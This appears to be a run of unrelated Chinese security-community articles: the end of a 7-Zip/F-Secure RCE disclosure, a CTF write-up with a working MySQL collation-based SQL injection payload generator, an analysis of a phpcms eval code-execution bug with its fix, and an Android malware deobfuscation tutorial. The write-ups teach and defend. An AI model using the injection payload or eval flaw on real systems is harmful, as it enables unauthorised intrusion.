我们已经了解了如何利用未初始化的内存使用bug，以最少的用户交互，作为NT AUTHORITYSYSTEM来执行任意远程代码。
除了与F-Secure讨论错误和可能的解决方案，我提出了三种缓解措施，以加强他们的产品：
1. 沙盒。并确保大多数代码不会在如此高的权限下运行。
2. 停止窥探HTTP流量。这个特性是无用的。它实际上没有提供任何安全好处，因为逃避它只需要攻击者从HTTP切换到HTTPS(F-Secure不会窥探HTTPS通信-感谢上帝！)因此，这个特性只会增加他们产品的攻击面。
3. 启用现代Windows exploitation mitigations，如CFG和ACG。
最后，我想指出的是，本文所提出的开发技术与任何F-Secure特性无关。它适用于任何使用7-Zip库提取压缩RAR文件的产品，即使启用了ASLR和DEP。例如，Malwarebytes可能也受到了影响。
有任何评论，反馈，疑问，都可以在“关于”页面上找到我的电子邮件地址。
## 披露时间表
* 2018-03-06-发现了7-Zip和F-Secure产品中的漏洞(F-Secure还没有可靠的崩溃PoC)。
* 2018-03-06-向7-Zip开发商Igor Pavlov报告。
* 2018-03-11-向F-Secure报告(提供可靠的崩溃PoC)。
* 2018-04-14-MITRE分配CVE-2018-10115的错误(7-Zip).
* 2018-04-15-额外报告F-Secure，这是一个非常关键的漏洞，我有一个工作代码执行的7-Zip(只有一个ALSR绕过缺失攻击F-Secure产品的漏洞)。为F-Secure提出了一个详细的补丁，并强烈建议推出修补程序，而不等待即将到来的7-Zip更新。
* 2018-04-30-7-Zip18.05发布，修正CVE-2018-10115.
* 2018-05-22-F-通过自动更新通道发布安全修复补丁.
* 2018-05-23-附加报告F-Secure与一个完整的PoC远程代码执行的各种F-Secure产品。
* 2018-06-01-F-Secure advisory发布。
* 2018年-？-支付赏金。
## 致谢
我要感谢F-Secure小组修复了错误。此外，我要感谢KiranKrishnappa为我提供了定期的状态更新。 | 社区文章 |
# 从一道题深入mysql字符集与比对方法collation
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
今天做了一道审计题目，决定是时候好好研究一下mysql字符集与比对方法collation的问题了，于是有了这篇文章
首先我们看一下题目的整体流程（注：因为核心代码就100行，所以都贴上来了）
## 题目描述
首先发现存在robots.txt
http://cheaplottery.solveme.peng.kr/robots.txt
发现
User-agent: *
Disallow: /backup/
存在文件泄露，其中sql文件
CREATE TABLE `lottery` (
`name` char(30) NOT NULL,
`time` int(4) NOT NULL,
`nums` char(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
ALTER TABLE `lottery`
ADD UNIQUE KEY `name` (`name`);
然后是Index.php
<?php
require __DIR__."/_config.php";
$sql = new mysqli($sql_host, $sql_username, $sql_password, $sql_dbname) or die("SQL Server Down T.T");
$name = "guest_".$_SERVER['REMOTE_ADDR'];
$result = $sql->query("SELECT * FROM `lottery` WHERE `name`='{$name}';");
$row_guest = $result->fetch_assoc();
unset($name, $result);
if(isset($_GET['lottery']) && is_array($_GET['lottery']) && count($_GET['lottery']) == 5){ // buy request
if(isset($row_guest)){ // already bought
$msg = "You already bought a lottery ticket at ".date('Y-m-d H:i:s', $row_guest['time']).".";
$buy_enable = false;
}else{ // not bought yet, but buy now
// insert real answer
$name = "admin_".$_SERVER['REMOTE_ADDR'];
$time = time();
$nums = implode(",", [ mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100) ]);
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
unset($name, $time, $nums);
// insert my answer
$name = "guest_".$_SERVER['REMOTE_ADDR'];
$time = time();
$url_query = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY));
$nums = preg_replace("/[a-zA-Z[]=]/", "", $url_query);
$nums = strtr($nums, "&", ",");
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
unset($name, $time, $url_query, $nums);
$msg = "You bought a lottery ticket. Please wait 60 sec.";
$buy_enable = false;
}
}else{ // not buy request
if(isset($row_guest)){ // already bought
if(intval($row_guest['time']) + 60 <= time()){ // publish result
$name = "admin_".$_SERVER['REMOTE_ADDR'];
$result = $sql->query("SELECT * FROM `lottery` WHERE `name`='{$name}';");
$row_admin = $result->fetch_assoc();
unset($name, $result);
// check answer
$bingo = 0;
$nums_admin = explode(",", $row_admin['nums']); // admin_*
$nums_guest = explode(",", $row_guest['nums']); // guest_*
for($i = 0; $i < 5; ++$i){
for($k = 0; $k < 5; ++$k){
if(isset($nums_admin[$i], $nums_guest[$k]) && $nums_admin[$i] === $nums_guest[$k]){
++$bingo;
unset($nums_guest[$k]);
break;
}
}
}
unset($nums_admin, $nums_guest);
if($bingo == 5){ // correct all
$msg = "Perfect! The flag is <code>{$flag}</code>.";
}elseif($bingo > 0){ // correct
$msg = "Excellent! You matched {$bingo} numbers. :)";
}else{ // incorrect
$msg = "Oops! You did not even match one. :(";
}
$buy_enable = true;
$name_admin = "admin_".$_SERVER['REMOTE_ADDR'];
$name_guest = "guest_".$_SERVER['REMOTE_ADDR'];
$sql->query("DELETE FROM `lottery` WHERE `name` IN ('{$name_admin}', '{$name_guest}');");
unset($name, $name_admin, $name_guest);
}else{
$msg = "Please wait until at ".date('Y-m-d H:i:s', intval($row_guest['time']) + 60).".";
$buy_enable = false;
}
}else{ // not bought
$msg = "Oh, Please buy a lottery ticket. It's free!";
$buy_enable = true;
}
}
?>
分析一下流程：
如果发送了购买参数的时候
即：
if(isset($_GET['lottery']) && is_array($_GET['lottery']) && count($_GET['lottery']) == 5)
1.判断你是否购买过
2.如果购买过，就提示你已经购买，并把你的购买资格赋false
3.如果没购买过：
$name = "admin_".$_SERVER['REMOTE_ADDR'];
$time = time();
$nums = implode(",", [ mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100) ]);
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
unset($name, $time, $nums);
就添加一条管理员数据，其中：
管理员name：根据你的remote_addr生成
管理员time：当前时间
管理员nums：随机从1~100生成5个
然后unset 3个变量
4.然后根据你的输入插入数据:
$name = "guest_".$_SERVER['REMOTE_ADDR'];
$time = time();
$url_query = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY));
$nums = preg_replace("/[a-zA-Z[]=]/", "", $url_query);
$nums = strtr($nums, "&", ",");
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
unset($name, $time, $url_query, $nums);
你的name：根据你的remote_addr生成
你的time：当前时间
你的nums：
$url_query = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY));
$nums = preg_replace("/[a-zA-Z[]=]/", "", $url_query);
$nums = strtr($nums, "&", ",");
根据这段代码获取，分析一下：
首先是parse_url解析出query部分
然后进行urldecode(这里说明一下，`$_SERVER['REQUEST_URI']`是不会自动解url的，所以不存在2次编码问题)
接着将`[a-zA-Z[]=]`替换为空，这里很难受，没有字母
然后将结果中的`&`都转为`,`
然后进行插入：
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
最后再次unset()
然后将你的购买权限置false
如果没发送购买请求：
1.根据你的remote_addr查询你的管理员信息
2.并将查询结果存入`$row_admin`
3.check你的结果
$bingo = 0;
$nums_admin = explode(",", $row_admin['nums']); // admin_*
$nums_guest = explode(",", $row_guest['nums']); // guest_*
for($i = 0; $i < 5; ++$i){
for($k = 0; $k < 5; ++$k){
if(isset($nums_admin[$i], $nums_guest[$k]) && $nums_admin[$i] === $nums_guest[$k]){
++$bingo;
unset($nums_guest[$k]);
break;
}
}
}
用$nums_admin[$i]逐个和5个$nums_guest[$k]进行匹配，如果相等就unset正确的$nums_guest[$k]
大致意思是：
你的5个答案与顺序无关，只要和随机生成的5个数值一样就行
4.给出结果
if($bingo == 5){ // correct all
$msg = "Perfect! The flag is <code>{$flag}</code>.";
}elseif($bingo > 0){ // correct
$msg = "Excellent! You matched {$bingo} numbers. :)";
}else{ // incorrect
$msg = "Oops! You did not even match one. :(";
}
5.最后处理
$name_admin = "admin_".$_SERVER['REMOTE_ADDR'];
$name_guest = "guest_".$_SERVER['REMOTE_ADDR'];
$sql->query("DELETE FROM `lottery` WHERE `name` IN ('{$name_admin}', '{$name_guest}');");
unset($name, $name_admin, $name_guest);
删除管理员和你的数据
## 漏洞点发现
这样看起来，100行的代码，不可能存在太多奇葩的攻击
目前看来无非就进行一个sql操作，所以问题归结起来可能就2点:
1.sql注入攻击
2.逻辑漏洞
这里我更偏向于sql注入攻击，因为大家容易发现题目的两个特征：
1.关于sql的过滤不是非常严格，只过滤了字母等一些符号
2.题目直接给出了sql文件
那么漏洞点在哪里呢？
首先我排除了注出数据的可能，因为没有字母，连16进制(0x)都无法使用
那么看起来可能需要我们插入数据
例如：
我们有一台ip为123.123.123.123的vps
我们如果能够用自己的本机插入数据：
admin_123.123.123.123 time() 1,1,1,1,1
guest_123.123.123.123 time() 1,1,1,1,1
那么此时我们再用vps去curl一下这个网站，是不是就可以立刻进入check，从而成功使bingo为5，获得flag呢？
但是新的问题来了，我们没有字母，如何解决admin和guest这10个字母的问题呢？
## 是mysql字符集的问题吗？
想到这个点是因为ph牛曾写过一篇文章：
https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
分析相当透彻
我们不妨先在自己的机器上看看
mysql> SHOW VARIABLES LIKE 'character_set_%';
+--------------------------+----------------------------+
| Variable_name | Value |
+--------------------------+----------------------------+
| character_set_client | latin1 |
| character_set_connection | latin1 |
| character_set_database | latin1 |
| character_set_filesystem | binary |
| character_set_results | latin1 |
| character_set_server | latin1 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |
+--------------------------+----------------------------+
8 rows in set (0.01 sec)
这些是什么意思呢？
character_set_server：默认的内部操作字符集
character_set_client：客户端来源数据使用的字符集
character_set_connection：连接层字符集
character_set_results：查询结果字符集
character_set_database：当前选中数据库的默认字符集
character_set_system：系统元数据(字段名等)字符集
此时如果我们set utf8:
mysql> set names utf8;
Query OK, 0 rows affected (0.00 sec)
mysql> SHOW VARIABLES LIKE 'character_set_%';
+--------------------------+----------------------------+
| Variable_name | Value |
+--------------------------+----------------------------+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | latin1 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | latin1 |
| character_set_system | utf8 |
| character_sets_dir | /usr/share/mysql/charsets/ |
+--------------------------+----------------------------+
8 rows in set (0.00 sec)
不难发现，只有
character_set_client
character_set_connection
character_set_results
成功被更改了
而
character_set_database
character_set_server
依旧是latin1
这有什么用呢？
我们看到鸟哥的这篇文章里讲解了mysql字符集（同时ph牛也有提到)
`http://www.laruence.com/2008/01/05/12.html`
其中有一段关于MySQL中的字符集转换过程：
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection；
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集，其确定方法如下：
使用每个数据字段的CHARACTER SET设定值；
• 若上述值不存在，则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展，非SQL标准)；
• 若上述值不存在，则使用对应数据库的DEFAULT CHARACTER SET设定值；
• 若上述值不存在，则使用character_set_server设定值。
3. 将操作结果从内部操作字符集转换为character_set_results。
也就是：
character_set_client -> character_set_connection -> 内部操作字符集
但是想到这里，我立刻发现，这个trick似乎并不能Bypass我当前的问题
因为对于这道题目，我们的转换过程为
utf8->utf8->utf8
而ph牛当时的bypass时过程为：
utf8->utf8->latin1
那么还有没有突破口，可以不用字母a，而让mysql认定我们的输入为a呢？
## 神奇的COLLATION
后来有师傅点播，突破口在于
utf8编码和默认collation字符顺序下不同编码字符被认为相等的特性
即可能使mysql不区分à与a的问题
首先说一说character set与collation的关系
mysql 有两个支持 unicode 的 character set:
ucs2: 使用 16 bits 来表示一个 unicode 字符。
utf8: 使用 1~3 bytes 来表示一个 unicode 字符。
而在本题目中，sql文件中显示
ENGINE=InnoDB DEFAULT CHARSET=utf8;
很显然这里是utf8
而我们本地尝试
mysql> show collation where collation like '%utf8%';
+--------------------------+---------+-----+---------+----------+---------+
| Collation | Charset | Id | Default | Compiled | Sortlen |
+--------------------------+---------+-----+---------+----------+---------+
| utf8_general_ci | utf8 | 33 | Yes | Yes | 1 |
| utf8_bin | utf8 | 83 | | Yes | 1 |
| utf8_unicode_ci | utf8 | 192 | | Yes | 8 |
| utf8_icelandic_ci | utf8 | 193 | | Yes | 8 |
| utf8_latvian_ci | utf8 | 194 | | Yes | 8 |
| utf8_romanian_ci | utf8 | 195 | | Yes | 8 |
| utf8_slovenian_ci | utf8 | 196 | | Yes | 8 |
| utf8_polish_ci | utf8 | 197 | | Yes | 8 |
| utf8_estonian_ci | utf8 | 198 | | Yes | 8 |
| utf8_spanish_ci | utf8 | 199 | | Yes | 8 |
| utf8_swedish_ci | utf8 | 200 | | Yes | 8 |
| utf8_turkish_ci | utf8 | 201 | | Yes | 8 |
| utf8_czech_ci | utf8 | 202 | | Yes | 8 |
| utf8_danish_ci | utf8 | 203 | | Yes | 8 |
容易发现我们若不指定collation则默认选择为utf8_general_ci
而collation名字的规则可以归纳为这两类：
1. <character set>_<language/other>_<ci/cs>
2. <character set>_bin
其中ci是case insensitive的缩写，即大小写不敏感
所以这里我们得知utf8_general_ci的字符顺序下，大小写是不敏感的，即
admin = ADmIn
然后继续查阅官方手册
https://dev.mysql.com/doc/refman/5.7/en/charset-unicode-sets.html
可以知道utf8_general_ci是不支持扩展，缩小或可忽略字符的传统归类。它只能进行字符之间的一对一比较
并且有如下样例比对。
对于utf8_general_ci，认为以下样例是相等的
Ä = A
Ö = O
Ü = U
为此我查阅了unicode手册，其中
The Unicode Collation Algorithm（unicode排序算法)
详细介绍了在需要保持符合Unicode标准的要求的时候，如何比对两个unicode字符串：
在它的默认样例中我们得知如下顺序
1.alphabetic ordering
2.diacritic ordering
3.case ordering.
个人认为正是因为`diacritic ordering`的排序问题
使得读音符号最后被认定为英文字母
这里有师傅给了我这样一张表：
http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html
由此我构造出了admin和guest
admin:%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1
guest:%C4%9D%C3%9B%C3%A8%C5%9B%C5%A3
## payload
<?php
$a = 你的vps;
$time =time();
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1_".$a."','$time','1,1,1,1,1'),('%C4%9D%C3%9B%C3%A8%C5%9B%C5%A3_".$a."','$time','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
echo $url;
?>
最后访问生成的url，然后用你的vps去`curl http://cheaplottery.solveme.peng.kr/index.php`
即可获得flag:`flag{8241a0f25778068af771a35290c15907}`
## 后记
由于本人水平有限，难免文章中出现错误或理解不正确的问题，还请各位师傅发现后指出，帮助我多多完善自己，Thanks~ | 社区文章 |
本文也是分析t00ls表哥的文章后，无意中发现的另一处代码执行漏洞。版本是phpcms v9.5.8 现在官方已经修复了。
## poc
根据poc代码所在的url连接，我们可以定位到是phpcms/modules/content/content.php文件中的public_categorys函数，
这段代码是在构造categorys数组，并为下面的操作做准备
从这段代码中可以看出，如果$categorys不为空，则进入if条件语句中，在这里switch语句中，$from无论是什么值，$strs将会一定存在$_GET['menuid’]这个变量的值。并且$tree->get_treeview函数的参数，也就是phpcms/libs/classes/tree.class.php中的get_treeview函数，我们跟入这个函数
上面的是这个函数的介绍，下面是这个函数所存在漏洞的地方
if($this->get_child($id)){
eval("\$nstr = \"$str2\";");
$this->str .= $nstr;
if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) {
$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
} elseif($showlevel > 0 && $showlevel == $currentlevel) {
$this->str .= $placeholder;
}
} else {
eval("\$nstr = \"$str\";");
$this->str .= $nstr;
}
在这里，首先判断一下是不是子样式表，如果不是将会通过eval去执行$str2，如果是子样式表，则会执行$str，也就是一定会执行包含恶意代码的字符串。
## 漏洞修复方案
* 及时升级phpcms最近版本即可
* 如果无法升级，可以在phpcms/modules/content/content.php中的public_categorys和public_sub_categorys这两个函数的第一行加入下列代码
$_GET['menuid'] = intval($_GET['menuid’]);
即可修复漏洞 | 社区文章 |
# 【技术分享】如何使用dex-oracle对抗混淆后的Android恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：rednaga.io
原文地址：<https://rednaga.io/2017/10/28/hacking-with-dex-oracle-for-android-malware-deobfuscation/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
大约一两个月以前，有人想让我帮忙分析经过混淆的一些Android恶意软件。最近我终于找到时机能够好好研究一下。最终，我使用了[dex-oracle](https://github.com/CalebFenton/dex-oracle)以及一些技巧部分解开了恶意软件的混淆数据。在本文中，我会介绍我在去混淆方面所使用的一些技巧以及整个过程。如果你需要处理许多混淆的Android应用，这篇文章应该对你有所帮助。
这个过程中，最主要的问题是dex-oracle无法直接使用，我们需要一些“黑科技”方法才能让它正常工作。具体的情况是，我修改了已有的一个去混淆插件，生成了两个新的插件，同时也稍微修改了一下这个工具。想创造完全通用的去混淆工具或者其他高级工具是非常困难的一件事情，所以你需要了解这些工具的工作原理，适当修改以满足你的实际需求。
**二、样本信息**
样本的SHA256值如下所示：
$ shasum -a 256 xjmurla.gqscntaej.bfdiays.apk
d3becbee846560d0ffa4f3cda708d69a98dff92785b7412d763f810c51c0b091 xjmurla.gqscntaej.bfdiays.apk
**三、整体分析**
我比较喜欢先做个反编译处理，以便能对目标应用的包结构有个整体的认识。应用所包含的类如下所示：
有些类名已经被ProGuard处理过（如a、b、c等），但有些类名没有经过处理（如 **Ceacbcbf**
）。没有经过混淆处理的类很有可能是Android组件类（如Activity（活动）、Service（服务）、Broadcast
Receiver（广播接收器等））， **因为这些组件必须在manifest中声明**
。因此，如果某些工具想实现自动化重命名这些类，它们就必须在manifest中做相应的重命名处理，这是比较困难的一个过程。这个应用中，这些类名可能被手动修改过。作者可能使用了家庭作坊式的混淆处理方法，部分工作由人工完成。
**这意味着这很有可能是一个恶意软件，因为合法的开发者会直接使用商用混淆工具来处理合法应用，他们不会把时间精力浪费在修改类名身上，比如，他们不会把类名修改为Aeabffdccdac之类难以辨类的字符串。**
应用代码经过混淆处理。经过混淆的某个类如下所示：
你无法从中看到任何字符串或类名，这是非常讨厌的一件事情。看起来[Simplify](https://github.com/CalebFenton/simplify)可以处理这个程序，但我们失算了。没关系，我兜里藏着许多好想法。我们可以来试一下Smali，看看能得到什么结果。
**四、字符串及类混淆方法**
首先，我看到了“基于索引的字符串查找”类型的混淆方法。
const v2, 0x320fb26f
invoke-static {v2}, Lxjmurla/gqscntaej/bfdiays/f;->a(I)Ljava/lang/String;
move-result-object v2
这种模式在代码中出现了好几百次。应用会挑选某个数字，将其传递给 **f.a(int)**
，然后再返回某个字符串。这种方法在某种程度上类似于“第一层”加密算法。应用在某个地方可能存在一个大型方法，该方法用来构建字符串数组，通过数字来索引字符串。
第二种混淆方法使用了同样的技巧来隐藏类常量。
const v1, 0x19189b07
invoke-static {v1}, Lxjmurla/gqscntaej/bfdiays/g;->c(I)Ljava/lang/Class;
move-result-object v1
这段代码会将一个数字传递给 **g.c(int)** ，返回某个类对象（ **const-class** ）。
你可能会认为需要对这些查找方法进行逆向分析，但事实并非如此。写个解密程序来深入分析复杂代码并完全掌握内部细节的确是非常酷的一件事情，但我们可以先不管这些繁琐的事情，对我们来说，速度才是第一要务。我实在不想把时间浪费在恶意软件作者所构造的这个“业余的”混淆程序上。如果不逆向分析的话，我们可以认为这些“查找”方法都是静态的方法。我们应该可以使用与代码中相同的输入来执行这些方法，这样就能得到解密后的输出结果。比如，在字符串解密方面，我应该可以执行
**f.a(0x320fb26f)** ，返回解密后的字符串。
当然，问题是如何执行这部分代码？我们的对象是一个APK文件，我们如何使用所需的输入数据从中执行特定的方法？也就是说，我们要怎样才能驾驭目标方法？答案有两个：
1、使用[dex2jar](https://github.com/pxb1988/dex2jar)或者[enjarify](https://github.com/google/enjarify)将目标DEX文件转换为JAR。然后，将JAR导入Java应用中，再从Java应用中调用解码函数。
2、创建一个插桩（stub）或者驱动（driver）应用，用来接受命令行参数，反射DEX文件中的方法。然后，在模拟器上执行该应用以及DEX文件。
实际情况中，我选择使用第二种方法，构造了[dex-oracle](https://github.com/CalebFenton/dex-oracle)工具来处理这种场景。这两种方法中，我更喜欢第二种， **因为这种方法无需依赖反编译器，不会引入逻辑问题**
。然而，第一种方法我也用了好几次，所以这里也有必要稍微提一下。我已经在dex-oracle中加入对这类混淆机制的支持，所添加的插件可参考“[Add
indexed string + class lookups](https://github.com/CalebFenton/dex-oracle/commit/cf44cd7aa5e81d5b0bc9588150b81a0fcdc575fe)”这个页面。
**dex-oracle工作过程**
****
dex-oracle的工作过程非常简单。该工具包含一组插件，插件通过正则表达式提取关键信息，如调用方法以及参数。然后，它会使用提取的参数构造真实的调用方法，并将这些方法传递给驱动，由驱动执行模拟器上的原始DEX文件。最后，插件定义了如何使用驱动的输出结果来修改调用方法。比如，正则表达式可以查找“数字常量、调用静态方法（静态方法接受数字并返回字符串）并将结果移动到寄存器的函数”。然后，驱动使用该数字执行该方法，返回解密后的字符串。最后，原始的字符串查找代码会被解密后的字符串代替。
你可以参考[TetCon
2016上有关Android去混淆方面的演讲](https://www.slideshare.net/tekproxy/tetcon-2016)来了解更多细节。
**五、修改前的dex-oracle**
不幸的是，即便使用新的插件，dex-oracle依然无法得到正确结果。为了便于查找问题，我禁用了除 **IndexStringLookup**
之外的所有插件，然后只处理上图中的d类。
$ dex-oracle xjmurla.gqscntaej.bfdiays.apk --disable-plugins bitwiseantiskid,stringdecryptor,undexguard,unreflector,indexedclasslookup -i '/d'
Invalid date/time in zip entry
Invalid date/time in zip entry
Invalid date/time in zip entry
Invalid date/time in zip entry
Invalid date/time in zip entry
Invalid date/time in zip entry
Invalid date/time in zip entry
Invalid date/time in zip entry
Invalid date/time in zip entry
Optimizing 11 methods over 23 Smali files.
[WARN] 2017-10-28 12:28:45: Unsuccessful status: failure for Error executing 'static java.lang.String xjmurla.gqscntaej.bfdiays.f.a(int)' with 'I:839889519'
java.lang.reflect.InvocationTargetException
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:515)
at org.cf.oracle.Driver.invokeMethod(Driver.java:71)
at org.cf.oracle.Driver.main(Driver.java:131)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:243)
at dalvik.system.NativeStart.main(Native Method)
Caused by: java.lang.NullPointerException
at xjmurla.gqscntaej.bfdiays.f.a(SourceFile:528)
... 7 more
// ** SNIP MANY SIMILAR ERRORS **
Optimizations: string_lookups=13
Invalid date/time in zip entry
// ** SNIP DUMB WARNINGS **
Invalid date/time in zip entry
Time elapsed 1.954255 seconds
上述结果中，“Invalid date/time in zip
entry”提示信息为无用的噪音信息。可能是恶意应用作者在尝试混淆ZIP中的时间戳？这一点我并不确定。
我关心的是“Unsuccessful status: failure for Error executing 'static
java.lang.String xjmurla.gqscntaej.bfdiays.f.a(int)' with
'I:839889519'”这个信息。根据这个提示信息，工具在执行f.a(int)时出现了一个 **NullPointerException**
（空指针异常）现象。看起来工具每次调用这个方法时都会失败。所以，我们可以来分析一下f.a(int)。
.method static a(I)Ljava/lang/String;
.registers 3
sget-object v0, Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;
const v1, 0x320fb1f0
sub-int v1, p0, v1
aget-object v0, v0, v1
return-object v0
.end method
整个方法非常小巧。这段代码的功能是从一个大的常量中提取出第一个参数，使用该参数作为索引查找一个字符串数组，Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;。我们可以来看看f;->k的初始化过程。
$ ag -Q 'Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;'
xjmurla/gqscntaej/bfdiays/Ceacabcbf.smali
169: sput-object v0, Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;
245: sget-object v0, Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;
256: sget-object v0, Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;
xjmurla/gqscntaej/bfdiays/f.smali
72: sget-object v0, Lxjmurla/gqscntaej/bfdiays/f;->k:[Ljava/lang/String;
我们只找到一个 **sput-object** ，位于 **xjmurla/gqscntaej/bfdiays/Ceacabcbf.smali**
中。在Ceacabcbf中查找这一行，我们找到了 **private Ceacabcbf;->a()V**。这个方法篇幅很长，也非常复杂，包含一大串字符串，这个字符串经过处理、分解后存放在f;->k中。出错点找到了，正是这个字段没有被初始化，导致我们出现NullPointerException错误。这意味着执行字符串解密方法过程中，Ceacabcbf;->a()V并没有被调用。因此，我们来找找该函数的调用位置。
$ ag -Q 'Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a()V'
xjmurla/gqscntaej/bfdiays/Ceacabcbf.smali
1313: invoke-direct {p0}, Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a()V
看样子该方法仅在Ceacabcbf被调用，具体代码为：
.method public onCreate()V
.registers 1
invoke-super {p0}, Landroid/app/Application;->onCreate()V
sput-object p0, Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a:Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;
invoke-direct {p0}, Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->a()V
return-void
.end method
该方法的具体调用位置位于Ceacabcbf;->onCreate()V中。这个类是Application的一个子类。不需要看manifest文件，我百分百确定当应用启动时会创建这个组件，然后调用onCreate()V方法，构建解密字符串数组，然后初始化f;->k，初始化也是最重要的一个步骤。那么我该如何重复这个操作，以便dex-oracle在解密字符串时能调用这个函数呢？
我首先想到的是往f;-><clinit>中的Ceacabcbf;->a()V内添加一个调用方法。这样就能确保当字符串解密类f被加载时，会初始化解密字符串数组。然而，a()V是一种直接（direct）方法，这种情况下怎么办？
我使用了有点笨的一种方法，但某些情况下这种方法能发挥作用。只需要创建一个新的公开的静态方法（Ceacabcbf;->init_decrypt()V），方法内容从Ceacabcbf;->a()V那复制即可。然后，在f;-><clinit>中添加一行语句来调用这个方法：
.method static constructor <clinit>()V
.registers 1
const/4 v0, 0x0
sput v0, Lxjmurla/gqscntaej/bfdiays/f;->a:I
sput v0, Lxjmurla/gqscntaej/bfdiays/f;->d:I
sput v0, Lxjmurla/gqscntaej/bfdiays/f;->e:I
sput v0, Lxjmurla/gqscntaej/bfdiays/f;->f:I
const/4 v0, 0x4
new-array v0, v0, [Ljava/lang/String;
sput-object v0, Lxjmurla/gqscntaej/bfdiays/f;->h:[Ljava/lang/String;
const-string v0, ""
sput-object v0, Lxjmurla/gqscntaej/bfdiays/f;->i:Ljava/lang/Object;
# LOL MONEY, MONEY LOL
invoke-static {}, Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->init_decrypt()V
return-void
.end method
**六、修改后的dex-oracle**
做了上述修改后，我们需要根据修改版的Smali重建DEX文件，然后尝试使用dex-oracle来处理这个文件。
$ smali ass out -o xjmurla_mod1.dex
$ dex-oracle xjmurla_mod1.dex --disable-plugins bitwiseantiskid,stringdecryptor,undexguard,unreflector,indexedclasslookup -i '/d'
Optimizing 11 methods over 23 Smali files.
Optimizations: string_lookups=13
Time elapsed 2.034493 seconds
没有看到错误提示。来看看反编译结果。
$ d2j-dex2jar.sh xjmurla_mod1_oracle.dex
dex2jar xjmurla_mod1_oracle.dex -> ./xjmurla_mod1_oracle-dex2jar.jar
$ jd xjmurla_mod1_oracle-dex2jar.jar
抓到你了！C&C控制域名！先得瑟一下。
结果不错，但此时类还没有去混淆。听起来令人非常讨厌。为了不让本文过于冗长，这里我直接告诉你处理过程。在对类做去混淆处理时，与处理混淆字符串时的情况一下，dex-oracle依然会出现错误。我们同样需要调用Ceacabcbf;->a()V方法。
我们还是可以使用相同的技巧：只要调用g;-><clinit>中的Ceacabcbf;->init_decrypt()V即可。然而，g并不包含<clinit>方法，所以我们需要手动添加一个：
.method static constructor <clinit>()V
.registers 0
invoke-static {}, Lxjmurla/gqscntaej/bfdiays/Ceacabcbf;->init_decrypt()V
return-void
.end method
现在，重新构建文件，然后使用dex-oracle进行处理：
$ smali ass out -o xjmurla_mod2.dex
$ dex-oracle xjmurla_mod2.dex -i '/d'
Optimizing 11 methods over 23 Smali files.
Optimizations: string_decrypts=0, class_lookups=13, string_lookups=13
Time elapsed 3.099335 seconds
来看看处理后的反编译结果有什么区别。
$ d2j-dex2jar.sh xjmurla_mod2_oracle.dex
dex2jar xjmurla_mod1_oracle.dex -> ./xjmurla_mod2_oracle-dex2jar.jar
$ jd xjmurla_mod1_oracle-dex2jar.jar
经过处理后，这个方法本身变化不大，然而其他方法可以提供更多信息，特别是在Smali中，你可以看到许多const-class。所有都处理完毕后，还有个g.c(int)没有去掉混淆，经过进一步分析，我发现这是因为该方法调用成功，但返回了空值（null）。也许这就是为什么该方法会位于try-catch代码段中。也许该代码正试图加载每个Android API版本中都不存在的类。
最后，让我们来测试一下，使用dex-oracle分析整个DEX文件。
$ dex-oracle xjmurla_mod2.dex
Optimizing 125 methods over 23 Smali files.
Optimizations: string_decrypts=0, class_lookups=354, string_lookups=330
Time elapsed 3.306326 seconds
